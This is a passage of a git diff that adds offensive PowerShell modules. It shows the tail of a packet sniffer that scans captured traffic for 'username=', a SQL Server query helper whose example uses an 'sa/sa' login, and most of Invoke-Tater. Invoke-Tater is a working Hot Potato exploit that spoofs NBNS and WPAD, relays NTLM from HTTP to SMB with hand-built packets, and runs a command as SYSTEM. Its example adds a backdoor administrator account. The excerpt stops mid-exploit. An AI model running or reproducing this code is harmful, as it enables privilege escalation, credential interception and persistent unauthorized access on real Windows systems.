break + } + 6 { # TCP + $ProtocolDesc = "TCP" + $sourcePort = NetworkToHostUInt16 $BinaryReader.ReadBytes(2) + $destPort = NetworkToHostUInt16 $BinaryReader.ReadBytes(2) + $serviceDesc = getService( $destPort ) + $SequenceNumber = NetworkToHostUInt32 $BinaryReader.ReadBytes(4) + $AckNumber = NetworkToHostUInt32 $BinaryReader.ReadBytes(4) + $TCPHeaderLength = [int]"0x$(('{0:X}' -f $BinaryReader.ReadByte())[0])" * 4 + $TCPFlags = $BinaryReader.ReadByte() + switch( $TCPFlags ) + { + { $_ -band $TCPFIN } { $TCPFlagsString += "" } + { $_ -band $TCPSYN } { $TCPFlagsString += "" } + { $_ -band $TCPRST } { $TCPFlagsString += "" } + { $_ -band $TCPPSH } { $TCPFlagsString += "" } + { $_ -band $TCPACK } { $TCPFlagsString += "" } + { $_ -band $TCPURG } { $TCPFlagsString += "" } + } + $TCPWindow = NetworkToHostUInt16 $BinaryReader.ReadBytes(2) + $TCPChecksum = [System.Net.IPAddress]::NetworkToHostOrder($BinaryReader.ReadInt16()) + $TCPUrgentPointer = NetworkToHostUInt16 $BinaryReader.ReadBytes(2) + if( $TCPHeaderLength -gt 20 ) # get to start of data... + { + [void]$BinaryReader.ReadBytes($TCPHeaderLength - 20) + } + # if SYN flag is set, sequence number is initial, then first data octet is ISN + 1 + if ($TCPFlags -band $TCPSYN) + { + $ISN = $SequenceNumber + #$SequenceNumber = $BinaryReader.ReadBytes(1) + [void]$BinaryReader.ReadBytes(1) + } + $Data = ByteToString $BinaryReader.ReadBytes($Length - ($HeaderLength + $TCPHeaderLength)) + break + } + 17 { # UDP + $ProtocolDesc = "UDP" + $sourcePort = NetworkToHostUInt16 $BinaryReader.ReadBytes(2) + $destPort = NetworkToHostUInt16 $BinaryReader.ReadBytes(2) + $serviceDesc = getService( $destPort ) + $UDPLength = NetworkToHostUInt16 $BinaryReader.ReadBytes(2) + [void]$BinaryReader.ReadBytes(2) + # subtract udp header length (2 octets) and convert octets to bytes + $Data = ByteToString $BinaryReader.ReadBytes(($UDPLength - 2) * 4) + break + } + default { + $ProtocolDesc = "Other ($_)" + $sourcePort = 0 + $destPort = 0 + } + } + + $BinaryReader.Close( ) + $memorystream.Close( ) + $Data = $Data.toCharArray( 0, $Data.length ) + + # resolve IP addresses to hostnames... + if( $ResolveHosts ) + { + # $DestinationHostName = ([System.Net.DNS]::GetHostEntry($DestinationIP.IPAddressToString)).Hostname + $DestinationHostName = resolve( $DestinationIP ) + # $SourceHostName = ([System.Net.DNS]::GetHostEntry($SourceIP.IPAddressToString)).Hostname + $SourceHostName = resolve( $SourceIP ) + } + + if( ($Protocol -eq "all") -or ($Protocol -eq $ProtocolDesc) ) + { + if( ($Port -eq "all") -or ($Port -eq $sourcePort) -or ($Port -eq $destPort) ) + { + if( ($ScanIP -eq "all") -or ($ScanIP -eq $SourceIp) -or ($ScanIP -eq $DestinationIP) ) + #if( $ScanIP -eq $SourceIp -and $ScanIP -eq $DestinationIP ) + { + if ((get-item $outputfile).length -gt $MaxSize) + { + $running = $false + } + Write-Output "Time:`t`t$(get-date)" | Out-File $outputfile -Append + Write-Output "Version:`t$ipVersion`t`t`tProtocol:`t$ProtocolNumber = $ProtocolDesc" | Out-File $outputfile -Append + Write-Output "Destination:`t$DestinationIP`t`tSource:`t`t$SourceIP" | Out-File $outputfile -Append + if( $ResolveHosts ) + { + Write-Output "DestinationHostName`t$DestinationHostName`tSourceHostName`t$SourceHostName" | Out-File $outputfile -Append + } + Write-Output "DestPort:`t$destPort`t`t`tSourcePort:`t$sourcePort" | Out-File $outputfile -Append + switch( $ProtocolDesc ) + { + "ICMP" { + Write-Output "Type:`t`t$ICMPType`t`t`tDescription:`t$ICMPTypeDesc" | Out-File $outputfile -Append + Write-Output "Code:`t`t$ICMPCode`t`t`tDescription:`t$ICMPCodeDesc" | Out-File $outputfile -Append + break + } + "IGMP" { + Write-Output "Type:`t`t$IGMPType`t`t`tMaxRespTime:`t$($IGMPMaxRespTime*100)ms" | Out-File $outputfile -Append + break + } + "TCP" { + Write-Output "Sequence:`t$SequenceNumber`t`tAckNumber:`t$AckNumber" | Out-File $outputfile -Append + Write-Output "Window:`t`t$TCPWindow`t`t`tFlags:`t`t$TCPFlagsString" | Out-File $outputfile -Append + Write-Output "Service:`t$serviceDesc" | Out-File $outputfile -Append + break + } + "UDP" { + Write-Output "Service:`t$serviceDesc" | Out-File $outputfile -Append + break + } + } + for( $index = 0; $index -lt $Data.length; $index++ ) + { + # eliminate non ascii characters... + if( $Data[$index] -lt 33 -or $Data[$index] -gt 126 ) + { + $Data[$index] = '.' + } + } + $OFS="" # eliminate spaces from output of char array + Write-Output "Data: $Data" | Out-File $outputfile -Append + "Data: $Data" |select-string -Pattern "username=" + Write-Output "----------------------------------------------------------------------" | Out-File $outputfile -Append + + + } + } + } +} + +} \ No newline at end of file diff --git a/Modules/Invoke-SqlQuery.ps1 b/Modules/Invoke-SqlQuery.ps1 new file mode 100644 index 0000000..59ef742 --- /dev/null +++ b/Modules/Invoke-SqlQuery.ps1 @@ -0,0 +1,53 @@ +<# +.Synopsis + Invoke-SqlQuery +.DESCRIPTION + Invoke-SqlQuery +.EXAMPLE + Invoke-SqlQuery -Sqlserver 10.150.10.150 -Username sa -Password sa +#> +function Invoke-SqlQuery { + + param ( + [String]$ConnectionString, + [String]$Sqlserver, + [String]$Username, + [String]$Password, + [String]$Catalog, + [String]$Database, + [String]$Query + ) + if (!$Database){ + $Database = ";" + } else { + $Database = "$Database;" + } + + if (!$Catalog){ + $Catalog = "Initial Catalog=Master;" + } else { + $Catalog = "Initial Catalog=$Catalog;" + } + + if ($Username -and $Password){ + $Authentication = "User Id=$Username;Password=$Password;" + } else { + $Authentication = "Integrated Security=True;" + } + + if (!$query){ + $Query = 'SELECT @@version'; + } + + $SqlConnection = New-Object System.Data.SqlClient.SqlConnection + $SqlConnection.ConnectionString = "Data Source=$Sqlserver;$Catalog$Authentication$Database" + $SqlCmd = New-Object System.Data.SqlClient.SqlCommand + $SqlCmd.CommandText = $Query + $SqlCmd.Connection = $SqlConnection + $SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter + $SqlAdapter.SelectCommand = $SqlCmd + $DataSet = New-Object System.Data.DataSet + $SqlAdapter.Fill($DataSet) + $DataSet.Tables[0] + +} \ No newline at end of file diff --git a/Modules/Invoke-Tater.ps1 b/Modules/Invoke-Tater.ps1 new file mode 100644 index 0000000..e62ab2c --- /dev/null +++ b/Modules/Invoke-Tater.ps1 @@ -0,0 +1,1817 @@ +function Invoke-Tater +{ +<# +.SYNOPSIS +Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from +@breenmachine and @foxglovesec. + +.DESCRIPTION +Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation with functionality +similiar to Potato.exe available at https://github.com/foxglovesec/Potato. + +.PARAMETER IP +Specify a specific local IP address. An IP address will be selected automatically if this parameter is not used. + +.PARAMETER SpooferIP +Specify an IP address for NBNS spoofing. This is needed when using two hosts to get around an in-use port 80 on +the privesc target. + +.PARAMETER Command +Command to execute as SYSTEM on the localhost. Use PowerShell character escapes where necessary. + +.PARAMETER NBNS +Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofing. + +.PARAMETER NBNSLimit +Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is +resolving correctly. + +.PARAMETER ExhaustUDP +Default = Disabled: (Y/N) Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback +to NBNS resolution. + +.PARAMETER HTTPPort +Default = 80: Specify a TCP port for the HTTP listener and redirect response. + +.PARAMETER Hostname +Default = WPAD: Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008. + +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Note that localhost is always listed as +direct. + +.PARAMETER WPADPort +Default = 80: Specify a proxy server port to be included in a the wpad.dat file. + +.PARAMETER Trigger +Default = 1: Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature +Update, 2 = Windows 10 Webclient/Scheduled Task + +.PARAMETER TaskDelete +Default = Tater: (Y/N) Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be +added to the taskname to avoid failures after multiple trigger 2 runs. + +.PARAMETER Taskname +Default = Tater: Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple +trigger 2 runs, try changing the taskname. + +.PARAMETER RunTime +(Integer) Set the run time duration in minutes. + +.PARAMETER ConsoleOutput +Default = Enabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to +ensure that it doesn't hang the shell. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup status messages. + +.PARAMETER ShowHelp +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER Tool +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's +Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + +.EXAMPLE +Invoke-Tater -Command "net user Tater Spring2016 /add && net localgroup administrators Tater /add" + +.LINK +https://github.com/Kevin-Robertson/Tater +#> + +# Default parameter values can be modified in this section +[CmdletBinding()] +param +( + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSLimit="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ExhaustUDP="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$TaskDelete="Y", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_ })][String]$IP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_ })][String]$SpooferIP="127.0.0.1", + [parameter(Mandatory=$false)][Int]$HTTPPort="80", + [parameter(Mandatory=$false)][Int]$RunTime="", + [parameter(Mandatory=$false)][ValidateSet(0,1,2)][Int]$Trigger="1", + [parameter(Mandatory=$true)][String]$Command="", + [parameter(Mandatory=$false)][String]$Hostname="WPAD", + [parameter(Mandatory=$false)][String]$Taskname="Tater", + [parameter(Mandatory=$false)][String]$WPADPort="80", + [parameter(Mandatory=$false)][Array]$WPADDirectHosts, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + throw "$($invalid_parameter) is not a valid parameter." +} + +if(!$IP) +{ + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) +} + +if(!$Command) +{ + throw "You must specify an -Command if enabling -SMBRelay" +} + +if($tater.running) +{ + throw "Invoke-Tater is already running, use Stop-Tater" +} + +$global:tater = [HashTable]::Synchronized(@{}) + +$tater.running = $true +$tater.console_queue = New-Object System.Collections.ArrayList +$tater.status_queue = New-Object System.Collections.ArrayList +$tater.console_input = $true +$tater.SMB_relay_active_step = 0 +$tater.trigger = $Trigger + +if($StatusOutput -eq 'Y') +{ + $tater.status_output = $true +} +else +{ + $tater.status_output = $false +} + +if($Tool -eq 1) # Metasploit Interactive Powershell +{ + $tater.tool = 1 + $tater.newline = "" + $ConsoleOutput = "N" +} +elseif($Tool -eq 2) # PowerShell Empire +{ + $tater.tool = 2 + $tater.console_input = $false + $tater.newline = "`n" + $ConsoleOutput = "Y" + $ShowHelp = "N" +} +else +{ + $tater.tool = 0 + $tater.newline = "" +} + +if($Trigger -eq 2) +{ + $NBNS = 'N' +} + +# Write startup messages +$tater.status_queue.Add("$(Get-Date -format 's') - Tater (Hot Potato Privilege Escalation) started") > $null +$tater.status_queue.Add("Local IP Address = $IP") > $null + +if($HTTPPort -ne 80) +{ + $tater.status_queue.Add("HTTP Port = $HTTPPort") > $null +} + +if($NBNS -eq 'Y') +{ + $tater.status_queue.Add("Spoofing Hostname = $Hostname") > $null + + if($NBNSLimit -eq 'N') + { + $tater.status_queue.Add("NBNS Bruteforce Spoofer Limiting Disabled") > $null + } + +} +else +{ + $tater.status_queue.Add("NBNS Bruteforce Spoofing Disabled") > $null +} + +if($SpooferIP -ne '127.0.0.1') +{ + $tater.status_queue.Add("NBNS Spoofer IP Address = $SpooferIP") > $null +} + +if($WPADDirectHosts.Count -gt 0) +{ + $tater.status_queue.Add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",") > $null +} + +if($WPADPort -ne 80) +{ + $tater.status_queue.Add("WPAD Port = $WPADPort") > $null +} + +if($ExhaustUDP -eq 'Y') +{ + $tater.status_queue.Add("UDP Port Exhaustion Enabled") > $null +} + +if($Trigger -eq 0) +{ + $tater.status_queue.Add("Relay Trigger Disabled") > $null +} +elseif($Trigger -eq 1) +{ + $tater.status_queue.Add("Windows Defender Trigger Enabled") > $null +} +elseif($Trigger -eq 2) +{ + $tater.status_queue.Add("Scheduled Task Trigger Enabled") > $null + $tater.taskname = $Taskname -replace " ","_" + + if($TaskDelete -eq 'Y') + { + $tater.status_queue.Add("Scheduled Task Prefix = $Taskname") > $null + $tater.status_queue.Add("Scheduled Task Deletion Enabled") > $null + $tater.task_delete = $true + } + else + { + $tater.status_queue.Add("Scheduled Task = $Taskname") > $null + $tater.status_queue.Add("Scheduled Task Deletion Disabled") > $null + $tater.task_delete = $false + } + +} + +if($ConsoleOutput -eq 'Y') +{ + $tater.status_queue.Add("Real Time Console Output Enabled") > $null + $tater.console_output = $true +} +else +{ + + if($tater.tool -eq 1) + { + $tater.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null + } + else + { + $tater.status_queue.Add("Real Time Console Output Disabled") > $null + } + +} + +if($RunTime -eq '1') +{ + $tater.status_queue.Add("Run Time = $RunTime Minute") > $null +} +elseif($RunTime -gt 1) +{ + $tater.status_queue.Add("Run Time = $RunTime Minutes") > $null +} + +if($ShowHelp -eq 'Y') +{ + $tater.status_queue.Add("Run Stop-Tater to stop Tater early") > $null + + if($tater.console_output) + { + $tater.status_queue.Add("Use Get-Command -Noun Tater* to show available functions") > $null + $tater.status_queue.Add("Press any key to stop real time console output") > $null + $tater.status_queue.Add("") > $null + } + +} + +if($tater.status_output) +{ + + while($tater.status_queue.Count -gt 0) + { + write-output($tater.status_queue[0] + $tater.newline) + $tater.status_queue.RemoveRange(0,1) + } + +} + +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id +$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) +$process_ID = $process_ID -replace "-00-00","" +[Byte[]] $tater.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + +# Begin ScriptBlocks + +# Shared Basic Functions ScriptBlock +$shared_basic_functions_scriptblock = +{ + + function DataLength + { + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + function DataToString + { + param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data) + + $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start + $string2_length + $string3_length)..($string_start + $string_length + $string2_length + $string3_length - 1)]) + $string_data = $string_data -replace "-00","" + $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $string_extract = New-Object System.String ($string_data,0,$string_data.Length) + return $string_extract + } + + function DnsFlushResolverCache + { + $DNS_member_definition = @' + [DllImport("dnsapi.dll", EntryPoint="DnsFlushResolverCache")] + private static extern UInt32 DnsFlushResolverCache(); + + public static void FlushResolverCache() + { + UInt32 result = DnsFlushResolverCache(); + } +'@ + + Add-Type -MemberDefinition $DNS_member_definition -Namespace DNSAPI -Name Flush -UsingNamespace System.Collections,System.ComponentModel + [DNSAPI.Flush]::FlushResolverCache() + } + + function StopTater + { + $tater.console_queue.Add("$(Get-Date -format 's') - Stopping HTTP listener") + $tater.HTTP_client.Close() + start-sleep -s 1 + $tater.HTTP_listener.server.blocking = $false + Start-Sleep -s 1 + $tater.HTTP_listener.server.Close() + Start-Sleep -s 1 + $tater.HTTP_listener.Stop() + + if($tater.SMBRelay_success) + { + + if($tater.trigger -eq 2) + { + + if($tater.task_delete -and $tater.task_added) + { + $scheduled_task_deleted = $false + $schedule_service = new-object -com("Schedule.Service") + $schedule_service.Connect() + $scheduled_task_folder = $schedule_service.GetFolder("\") + $scheduled_task_list = $scheduled_task_folder.GetTasks(1) + + foreach($scheduled_task in $scheduled_task_list) + { + + if($scheduled_task.name -eq $tater.task) + { + $scheduled_task_folder.DeleteTask($scheduled_task.name,0) + } + + } + + foreach($scheduled_task in $scheduled_task_list) + { + + if($scheduled_task.name -eq $tater.task) + { + $scheduled_task_deleted = $true + } + + } + + if($scheduled_task_deleted) + { + $tater.console_queue.Add("$(Get-Date -format 's') - Scheduled task " + $tater.task + " deleted successfully") + } + else + { + $tater.console_queue.Add("$(Get-Date -format 's') - Scheduled task " + $tater.task + " deletion failed, remove manually") + } + + } + elseif($tater.task_added) + { + $tater.console_queue.Add("$(Get-Date -format 's') - Remove scheduled task " + $tater.task + " manually when finished") + } + + } + + $tater.console_queue.Add("$(Get-Date -format 's') - Tater was successful and has exited") + } + else + { + $tater.console_queue.Add("$(Get-Date -format 's') - Tater was not successful and has exited") + } + + Start-Sleep -s 1 + $tater.running = $false + } + +} + +# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response +$SMB_NTLM_functions_scriptblock = +{ + + function SMBNTLMChallenge + { + param ([Byte[]]$payload_bytes) + + $payload = [System.BitConverter]::ToString($payload_bytes) + $payload = $payload -replace "-","" + $NTLM_index = $payload.IndexOf("4E544C4D53535000") + + if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") + { + $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) + } + + return $NTLM_challenge + } + +} + +# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target +$SMB_relay_challenge_scriptblock = +{ + + function SMBRelayChallenge + { + param ($SMB_relay_socket,$HTTP_request_bytes) + + if ($SMB_relay_socket) + { + $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() + } + + $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024 + $i = 0 + + :SMB_relay_challenge_loop while ($i -lt 2) + { + + switch ($i) + { + + 0 + { + $SMB_relay_challenge_send = 0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00, + 0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0xff,0xff + + $tater.process_ID_bytes + + 0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d, + 0x20,0x30,0x2e,0x31,0x32,0x00 + } + + 1 + { + $SMB_blob_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length)) + $SMB_blob_length = $SMB_blob_length -replace "-00-00","" + $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_byte_count = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 28)) + $SMB_byte_count = $SMB_byte_count -replace "-00-00","" + $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_netbios_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 87)) + $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" + $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + [Array]::Reverse($SMB_netbios_length) + + $SMB_relay_challenge_send = 0x00,0x00 + + $SMB_netbios_length + + 0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x03,0xc8,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff + + $tater.process_ID_bytes + + 0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00, + 0x01,0x00,0x00,0x00,0x00,0x00 + + $SMB_blob_length + + 0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80 + + $SMB_byte_count + + $HTTP_request_bytes + + 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73, + 0x00,0x00,0x00,0x6a,0x00,0x43,0x00,0x49,0x00,0x46,0x00,0x53,0x00, + 0x00,0x00 + } + + } + + $SMB_relay_challenge_stream.Write($SMB_relay_challenge_send,0,$SMB_relay_challenge_send.Length) + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes,0,$SMB_relay_challenge_bytes.Length) + $i++ + } + + return $SMB_relay_challenge_bytes + } + +} + +# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target +$SMB_relay_response_scriptblock = +{ + + function SMBRelayResponse + { + param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID) + + $SMB_relay_response_bytes = New-Object System.Byte[] 1024 + + if ($SMB_relay_socket) + { + $SMB_relay_response_stream = $SMB_relay_socket.GetStream() + } + + $SMB_blob_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length)) + $SMB_blob_length = $SMB_blob_length -replace "-00-00","" + $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_byte_count = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 28)) + $SMB_byte_count = $SMB_byte_count -replace "-00-00","" + $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_netbios_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 88)) + $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" + $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + [Array]::Reverse($SMB_netbios_length) + $j = 0 + + :SMB_relay_response_loop while ($j -lt 1) + { + $SMB_relay_response_send = 0x00,0x00 + + $SMB_netbios_length + + 0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x03,0xc8,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff + + $tater.process_ID_bytes + + $SMB_user_ID + + 0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00, + 0x00,0x00,0x00 + + $SMB_blob_length + + 0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80 + + $SMB_byte_count + + $HTTP_request_bytes + + 0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73, + 0x00,0x00,0x00,0x6a,0x00,0x43,0x00,0x49,0x00,0x46,0x00,0x53,0x00,0x00, + 0x00 + + $SMB_relay_response_stream.Write($SMB_relay_response_send,0,$SMB_relay_response_send.Length) + $SMB_relay_response_stream.Flush() + $SMB_relay_response_stream.Read($SMB_relay_response_bytes,0,$SMB_relay_response_bytes.Length) + $tater.SMB_relay_active_step = 2 + $j++ + } + + return $SMB_relay_response_bytes + } + +} + +# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session +$SMB_relay_execute_scriptblock = +{ + + function SMBRelayExecute + { + param ($SMB_relay_socket,$SMB_user_ID) + + if ($SMB_relay_socket) + { + $SMB_relay_execute_stream = $SMB_relay_socket.GetStream() + } + + $SMB_relay_failed = $false + $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 + $SMB_service_random = [String]::Join("00-", (1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service = $SMB_service_random -replace "-00","" + $SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1) + $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) + $SMB_service_random += '00-00-00' + [Byte[]] $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_referent_ID_bytes = [String](1..4 | ForEach-Object{"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $Command = "%COMSPEC% /C `"" + $Command + "`"" + [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{ $SMB_relay_command += "{0:X2}-00-" -f $_ } + + if([Bool]($Command.Length % 2)) + { + $SMB_relay_command += '00-00' + } + else + { + $SMB_relay_command += '00-00-00-00' + } + + [Byte[]] $SMB_relay_command_bytes = $SMB_relay_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_service_data_length_bytes = [System.BitConverter]::GetBytes($SMB_relay_command_bytes.Length + $SMB_service_bytes.Length + 237) + $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] + $SMB_service_byte_count_bytes = [System.BitConverter]::GetBytes($SMB_relay_command_bytes.Length + $SMB_service_bytes.Length + 174) + $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1] + $SMB_relay_command_length_bytes = [System.BitConverter]::GetBytes($SMB_relay_command_bytes.Length / 2) + $k = 0 + + :SMB_relay_execute_loop while ($k -lt 12) + { + + switch ($k) + { + + 0 + { + $SMB_relay_execute_send = 0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00, + 0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0xff,0xff + + $tater.process_ID_bytes + + $SMB_user_ID + + 0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00, + 0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31,0x30,0x2e,0x32,0x2e,0x31,0x30, + 0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00 + } + + 1 + { + $SMB_relay_execute_send = 0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00, + 0x18,0x02,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x08 + + $tater.process_ID_bytes + + $SMB_user_ID + + 0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08, + 0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 + } + + 2 + { + $SMB_relay_execute_send = 0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, + 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x08 + + $tater.process_ID_bytes + + $SMB_user_ID + + 0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00, + 0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00,0x00,0x00,0x48,0x00,0x3f, + 0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00, + 0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0, + 0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00, + 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38, + 0x00,0x10,0x03,0x02,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c, + 0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00, + 0x00 + + $SMB_multiplex_id = 0x05 + } + + 3 + { + $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + 4 + { + $SMB_relay_execute_send = 0x00,0x00,0x00,0x9b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, + 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x08 + + $tater.process_ID_bytes + + $SMB_user_ID + + 0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00, + 0xff,0xff,0xff,0xff,0x08,0x00,0x50,0x00,0x00,0x00,0x5c,0x00,0x3f, + 0x00,0x00,0x00,0x00,0x00,0x5c,0x00,0x05,0x00,0x00,0x03,0x10,0x00, + 0x00,0x00,0x5c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00, 